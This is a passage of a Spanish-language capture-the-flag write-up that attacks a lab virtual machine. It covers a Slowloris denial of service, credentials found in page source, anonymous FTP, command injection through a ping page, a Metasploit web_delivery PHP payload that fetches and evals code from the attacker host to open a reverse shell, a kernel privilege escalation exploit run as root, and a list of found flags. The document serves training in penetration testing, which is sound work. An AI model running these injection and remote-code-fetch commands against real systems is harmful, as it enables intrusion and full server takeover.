[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count:
150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150

23
Mientras se ejecuta se observa que el servidor Apache asociado a la máquina virtual
ha quedado fuera de servicio y no es posible navegar por él. En la siguiente imagen se
muestra que el servidor no es capaz de mostrar la ventana login_2

Al introducir la dirección http://192.168.1.20 se observa que tampoco responde.

24
Tras comprobar que el servidor es vulnerable a CVE-2007-6750, se para el exploit y
se procede a navegar por la web proporcionada por el servidor Apache teniendo el siguiente
aspecto.

Se comprueba el código fuente de la página web encontrando el siguiente flag


<!—FLAG{B13N Y4 T13N3S UN4 +} -->. En la siguiente imagen se muestra dicho flag al final del
código fuente de la página

25
Posteriormente se procede a hacer click en el primer enlace Bypass Login 1.
Apareciendo la siguiente web.

Al visualizar el código fuente de la página web se obtiene un nuevo flag BIEN! Tu flag

es: FLAG {LOGIN_Y_JAVASCRIPT} . Aparte leyendo en el código fuente de la página se observa


que se accedería para el usuario “admin” y password: “supersecret”.

26
Se introduce el usuario admin con password supersecret en el navegador
apareciendo el siguiente mensaje.

Se puede leer el mensaje: BIEN! Tu flag es: FLAG {LOGIN_Y_JAVASCRIPT} que es el


mismo texto que aparecía en el código fuente.

Se prueba si se puede acceder al fichero robots.txt que suele encontrarse en la raíz


de las aplicaciones webs que indica que partes de la aplicación no deben ser indexadas
por los motores de búsqueda y que cuando se ejecutó el comando nmap 192.168.1.20 –
script vuln aparecía en http-enum junto con la carpeta uploads

| http-enum:
| /robots.txt: Robots file
|_ /uploads/: Potentially interesting folder

27
Introduciendo en el navegador http://192.168.1.20/robots.txt aparece el contenido
del fichero robots.txt

En el fichero robots.txt se observa un directorio que no debe ser indexado que es


/cyberacademy, se introduce en el navegador http://192.168.1.20/cyberacademy
apareciendo un nuevo flag FLAG{YEAH_R0B0T$.RUL3$}. En la siguiente imagen se muestra el
resultado.

Dado que al ejecutar el comando nmap 192.168.1.20 –script vuln aparece también
la carpeta uploads se introduce en el navegador http://192.168.1.20/uploads apareciendo
un nuevo flag FLAG{ENUMERA_DIRECTORIOS_SIEMPRE}. En la siguiente imagen se muestra el
resultado de introducir la dirección en el navegador

28
Dado que entre los puertos abiertos se encontraba el puerto 21 correspondiente al
servicio ftp, se procederá a establecer una conexión al servidor como “anonymous”

PORT STATE SERVICE VERSION


21/tcp open ftp vsftpd 3.0.3

Viendo que se consigue acceder al servidor, se listan los ficheros disponibles con ls
observando que hay un fichero flag.txt que se transfiere a la máquina kali con el comando
get flag.txt

Una vez finalizada la transferencia, se abre el fichero flag.txt observando el contenido


de un nuevo flag FLAG{FTP_4n0nym0us_G00D_JoB!} tal y como muestra la siguiente imagen.

29
Volviendo a la web principal del servidor http://192.168.1.20 se hará click en Ping-
Pong

La URL de destino presenta el siguiente aspecto.

Lo que hace pensar que la aplicación web es vulnerable a Command injection se


hace una primera prueba haciendo ping a la máquina desde la que nos estamos conectando
introduciendo la siguiente URL http://192.168.1.20/ping/index.php?ip=192.168.1.30 viendo
que responde nuestra máquina.

Después se ejecuta el comando ls para para comprobar si se ejecuta en la Shell del


servidor mediante el siguiente comando
http://192.168.1.20/ping/index.php?ip=192.168.1.20 | ls. Observan que en el directorio de la
web se encuentra un fichero llamado estonoesunaflag.txt

30
Se procede a descarga el fichero ejecutando el comando desde la terminal de la
máquina Kali Linux sudo wget http://192.168.1.20:80/ping/estonoesunaflag.txt
descargando el fichero estonoesunaflag.txt.

Abriendo el fichero se encuentra un nuevo flag FLAG{SIMPLEMENTE_RCE}

Dado que el servidor permite ejecutar código en remoto a través de


http://192.168.1.20/ping el siguiente paso es obtener una shell reversa en el equipo víctima.
Para ello se utilizará el módulo web_delivery que simplifica el despliegue mediante una
petición web de un payload sobre una máquina concreta. Se lanza metasploit para poder
ejecutar el módulo web_delivery y se consultan las opciones.

31
Una vez se consultan las opciones se configura para poder utilizar el módulo y utilizar
un payload php. Se establece como LHOST nuestro mismo equipo desde donde se ejecuta
metasploit, es decir 192.168.1.20, el objetivo TARGET 1, el PAYLOAD
php/meterpreter/reverse_php. Una vez definidos los parámetros se ejecuta el exploit
devolviendo un código para ejecutar en la máquina objetivo.

32
Se copia el código generado y se ejecuta por RCE introduciendo la siguiente URL
http://192.168.1.20/ping/index.php?ip=192.168.1.20 | php -d allow_url_fopen=true -r
"eval(file_get_contents('http://192.168.1.30:8080/Enyis4fzHypXNk', false,
stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
apareciendo la siguiente pantalla.

Una vez se ejecuta se observa que se abre una sesión en metasploit

Tras ello se ejecuta se interactúa la sesión con el comando sessions -i 1 observando


que de verdad se ha abierto una consola en la carpeta /var/www/html/ping

33
Una vez dentro se ejecutará el comando shell para abrir un terminal en el servidor y
después se verá con que usuario se ejecuta dicha terminal.

Se observa que el usuario con el que se está ejecutando sería www-data, tras ello
se confirmará el sistema operativo y kernel de la máquina que ya fue obtenido en la fase
de enumeración. Se introduce el comando uname -a y lsb_release -d

Se trataría de una versión Ubuntu 16.04 con Kernel Linux Ubuntu 4.4.0-87. Se realiza
una búsqueda con metasploit introduciendo searchsploit ubuntu 16.04 y se localiza el exploit
45010 permite la escalada de privilegios en local para esta versión de kernel y sistema
operativo.

34
Se procede a descargar el exploit de https://www.exploit-db.com/explois/45010.

Una vez descargado se procede a compilarlo mediante el comando sudo gcc 45010.c

-o exploit.php donde el fichero exploit.php sería el exploit compilado. Tras ello se copia el
fichero al directorio /var/www/html y por último se arranca el servicio apache2 en la máquina
Kali Linux. En la siguiente imagen se muestra la salida de los comandos utilizados en un
Terminal de Kali Linux, donde también se comprueba el estado del servicio apache2.

35
Una vez el fichero exploit.php queda disponible en el servidor apache de la máquina
Kali Linux, se procede a descargar desde la shell abierta en la máquina víctima en la carpeta
/tmp a través del comando wget http://192.168.1.30/exploit.php. A continuación, se
muestran los comandos introducidos en los que se listan los ficheros de la carpeta /tmp

antes y después de descargar el fichero exploit.php.

Dado que como se puede ver en la imagen anterior el fichero exploit.php sólo tiene
permisos de lectura, se cambian los permisos del misma a lectura y escritura con el
comando chmod 777 exploit.php, se comprueba que los permisos del mismo cambian y tras
comprobar que la shell se está ejecutando en la máquina víctima con el usuario www-data se
ejecuta exploit.php, tras ello se comprueba que el usuario pasa a ser root. En la siguiente
imagen se muestran los comandos introducidos y la salida de los mismos en la máquina
víctima.

36
Una vez se consigue el rol de root, se comprueban los usuarios que tiene la máquina

víctima, viendo que existe un usuario deloitte y que puede ejecutar como superusuario.
También se ve un nuevo flag en la carperta /home/deloitte/flag.txt cuyo contenido es
FLAG{w311_d0n3_r00t_1s_w41t1Ng_u}. A continuación, se muestran la salida de los comandos
utilizados y el flag encontrado.

37
Dado que usuario deloitte puede actuar de superusuario se intenta obtener su
password para acceder en login_2 para ello se realiza una lectura del fichero /etc/passwd

pero se observa que el usuario tiene la contraseña cifrada.

38
Se prueba a cambiar la password para el usuario deloitte con el comando passwd

deloitte al tener un rol de root gracias al exploit y se intenta introducir en login_2 pero no
se obtiene éxito.

Entonces se intenta acceder al fichero index.php para login_2, para ello se navega a
/var/www/html y se listan los ficheros observando que se encuentra index.php. Se lee el
contenido del fichero index.php con el comando cat index.php observando un nuevo flag
FLAG{BYPASS1NG_HTTP_METH0DS_G00D!}. A continuación, se listan los comandos introducidos en
la shell de la máquina víctima.

39
Por último se prodece a hacer una búsqueda de más flags con el comando find / -

name *.txt. A continuación, se muestra el resultado de la búsqueda donde vienen marcados


nuevos flags.
find / -name *.txt
/root/flag.txt
/opt/james-2.3.2.1/ext/README.txt
/opt/james-2.3.2.1/RELEASE_NOTES.txt
/opt/james-2.3.2.1/NOTICE.txt
/opt/james-2.3.2.1/logs/readme.txt
/opt/james-2.3.2.1/README.txt
/opt/james-2.3.2.1/LICENSE.txt
/opt/james-2.3.2.1/apps/dummy.txt
/opt/james-2.3.2.1/UPGRADE.txt
/opt/flag.txt
/var/ftp/flag.txt
/var/www/html/robots.txt

40
/var/www/html/ping/estonoesunaflag.txt
/var/lib/nssdb/pkcs11.txt
/var/cache/dictionaries-common/ispell-dicts-list.txt
/usr/lib/python3.5/lib2to3/PatternGrammar.txt
/usr/lib/python3.5/lib2to3/Grammar.txt
/usr/lib/python3.5/idlelib/HISTORY.txt
/usr/lib/python3.5/idlelib/extend.txt
/usr/lib/python3.5/idlelib/CREDITS.txt
/usr/lib/python3.5/idlelib/README.txt
/usr/lib/python3.5/idlelib/help.txt
/usr/lib/python3.5/idlelib/TODO.txt
/usr/lib/python3.5/idlelib/NEWS.txt
/usr/lib/python3.5/LICENSE.txt
/usr/lib/python3/dist-packages/chardet-2.3.0.egg-info/top_level.txt
/usr/lib/python3/dist-packages/chardet-2.3.0.egg-info/entry_points.txt
/usr/lib/python3/dist-packages/chardet-2.3.0.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/language_selector-0.1.egg-info/top_level.txt
/usr/lib/python3/dist-packages/language_selector-0.1.egg-info/entry_points.txt
/usr/lib/python3/dist-packages/language_selector-0.1.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/urllib3-1.13.1.egg-info/top_level.txt
/usr/lib/python3/dist-packages/urllib3-1.13.1.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/urllib3-1.13.1.egg-info/requires.txt
/usr/lib/python3/dist-packages/six-1.10.0.egg-info/top_level.txt
/usr/lib/python3/dist-packages/six-1.10.0.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/ssh_import_id-5.5.egg-info/top_level.txt
/usr/lib/python3/dist-packages/ssh_import_id-5.5.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/ssh_import_id-5.5.egg-info/requires.txt
/usr/lib/python3/dist-packages/requests-2.9.1.egg-info/top_level.txt
/usr/lib/python3/dist-packages/requests-2.9.1.egg-info/dependency_links.txt
/usr/lib/python3/dist-packages/requests-2.9.1.egg-info/requires.txt
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jvm.hprof.txt
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/Xusage.txt
/usr/src/linux-headers-4.4.0-87/arch/sh/include/mach-kfr2r09/mach/partner-jet-setup.txt
/usr/src/linux-headers-4.4.0-87/arch/sh/include/mach-ecovec24/mach/partner-jet-setup.txt
/usr/src/linux-headers-4.4.0-87/scripts/spelling.txt
/usr/src/linux-headers-4.4.0-87-generic/scripts/spelling.txt
/usr/share/perl/5.22.1/Unicode/Collate/keys.txt
/usr/share/perl/5.22.1/Unicode/Collate/allkeys.txt
/usr/share/perl/5.22.1/unicore/Blocks.txt
/usr/share/perl/5.22.1/unicore/NamedSequences.txt
/usr/share/perl/5.22.1/unicore/SpecialCasing.txt
/usr/share/X11/rgb.txt
/usr/share/command-not-found/priority.txt
/usr/share/vim/vim74/doc/help.txt
/usr/share/doc/mount/mount.txt
/usr/share/doc/vsftpd/examples/VIRTUAL_USERS/logins.txt
/usr/share/doc/busybox-static/syslog.conf.txt
/usr/share/doc/util-linux/hwclock.txt
/usr/share/doc/util-linux/howto-tests.txt

41
/usr/share/doc/util-linux/col.txt
/usr/share/doc/util-linux/howto-debug.txt
/usr/share/doc/util-linux/mount.txt
/usr/share/doc/util-linux/blkid.txt
/usr/share/doc/util-linux/release-schedule.txt
/usr/share/doc/util-linux/getopt_changelog.txt
/usr/share/doc/util-linux/howto-build-sys.txt
/usr/share/doc/util-linux/source-code-management.txt
/usr/share/doc/util-linux/howto-compilation.txt
/usr/share/doc/util-linux/deprecated.txt
/usr/share/doc/util-linux/getopt.txt
/usr/share/doc/util-linux/cal.txt
/usr/share/doc/util-linux/pg.txt
/usr/share/doc/util-linux/PAM-configuration.txt
/usr/share/doc/util-linux/00-about-docs.txt
/usr/share/doc/util-linux/modems-with-agetty.txt
/usr/share/doc/libtxc-dxtn-s2tc0/README.txt
/usr/share/doc/libdb5.3/build_signature_amd64.txt
/usr/share/doc/linux-firmware/licenses/LICENCE.realtek-firmware.txt
/usr/share/doc/linux-firmware/licenses/LICENCE.tda7706-firmware.txt
/usr/share/doc/linux-firmware/licenses/LICENCE.ralink-firmware.txt
/usr/share/doc/linux-firmware/licenses/LICENCE.rtlwifi_firmware.txt
/usr/share/doc/openssl/HOWTO/keys.txt
/usr/share/doc/openssl/fingerprints.txt
/usr/share/doc/gnupg/Upgrading_From_PGP.txt
/usr/share/mysql/errmsg-utf8.txt
/usr/share/mysql/dictionary.txt
/etc/X11/rgb.txt
/home/deloitte/flag.txt
/lib/firmware/qca/NOTICE.txt
/lib/firmware/carl9170fw/tools/carlu/CMakeLists.txt
/lib/firmware/carl9170fw/tools/lib/CMakeLists.txt
/lib/firmware/carl9170fw/tools/src/CMakeLists.txt
/lib/firmware/carl9170fw/tools/CMakeLists.txt
/lib/firmware/carl9170fw/carlfw/CMakeLists.txt
/lib/firmware/carl9170fw/config/CMakeLists.txt
/lib/firmware/carl9170fw/minifw/CMakeLists.txt
/lib/firmware/carl9170fw/CMakeLists.txt
/lib/firmware/ath10k/QCA9377/hw1.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA4019/hw1.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA9887/hw1.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA99X0/hw2.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA6174/hw3.0/notice_ath10k_firmware-4.txt
/lib/firmware/ath10k/QCA6174/hw2.1/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA988X/hw2.0/notice_ath10k_firmware-4.txt
/lib/firmware/ath10k/QCA988X/hw2.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA9984/hw1.0/notice_ath10k_firmware-5.txt
/lib/firmware/ath10k/QCA9888/hw2.0/notice_ath10k_firmware-5.txt
/boot/grub/gfxblacklist.txt

42
De la búsqueda se encuentra dos nuevos flags en las carpetas /root/flag.txt,

/opt/flag.txt. Se procede a visualizar el contenido que se muestra a continuación, en el


caso de /root/flag.txt el contenido es FLAG{YEAH_SETUID_FILES_RuL3S} GOOD JOB! :D y en
el caso de /opt/flag.txt el contenido es RkxBRyB7WTB1X2FyZSBhIHJlYWwgSGFja2VyfQ0= que es
un código en base64

Se introduce el código RkxBRyB7WTB1X2FyZSBhIHJlYWwgSGFja2VyfQ0= en un decodificador


y se puede leer el mensaje que sería FLAG {Y0u_are a real Hacker}

43
5. CONCLUSIONES
Tras la realización de un escaneo en la máquina víctima y gracias a la enumeración
de servicios, se han podido obtener información de la máquina, conocer sus
vulnerabilidades y explotarlas como en el caso de la vulnerabilidad CVE-2007-6750 donde
se ha realizado un ataque de denegación de servicio.

Asimismo, se han ido localizando los diferentes flags objeto del caso práctico que se
enumeran a continuación.
1. Código fuente en la página de inicio
<!—FLAG{B13N Y4 T13N3S UN4 +} -->

2. En login_1 tras descubrir el usuario y password en el código fuente.


BIEN! Tu flag es: FLAG {LOGIN_Y_JAVASCRIPT}

3. En la carpeta cyberacademy tras abrir el fichero robots.txt


FLAG{YEAH_R0B0T$.RUL3$}

4. En la carpeta uploads
FLAG{ENUMERA_DIRECTORIOS_SIEMPRE}

5. En la carpeta FTP tras acceder con el usuario anonymous


FLAG{FTP_4n0nym0us_G00D_JoB!}

6. En la carpeta ping al abrir el fichero estonoesunaflag.txt


FLAG{SIMPLEMENTE_RCE}

7. En la carpeta /home/deloitte el fichero flag.txt


FLAG{w311_d0n3_r00t_1s_w41t1Ng_u}

8. Al acceder al fichero index.php en la carpeta de login_2


FLAG{BYPASS1NG_HTTP_METH0DS_G00D!}

9. En la carpeta /opt/flag.txt donde al decodificar el fichero base64 aparece el


mensaje
FLAG {Y0u_are a real Hacker}

44
10. En la carpeta /root/flag.txt donde se puede leer en el fichero
FLAG{YEAH_SETUID_FILES_RuL3S}

GOOD JOB!

También se ha completado la escalada de privilegios en la máquina víctima


explotando la vulnerabilidad RCE con una shell remota a través de web_delivery y después
mediante la ejecución del exploit 45010 para la escalada de privilegios en local en Ubuntu
16.04 tal y como se ha detallado en el apartado anterior.

45

También podría gustarte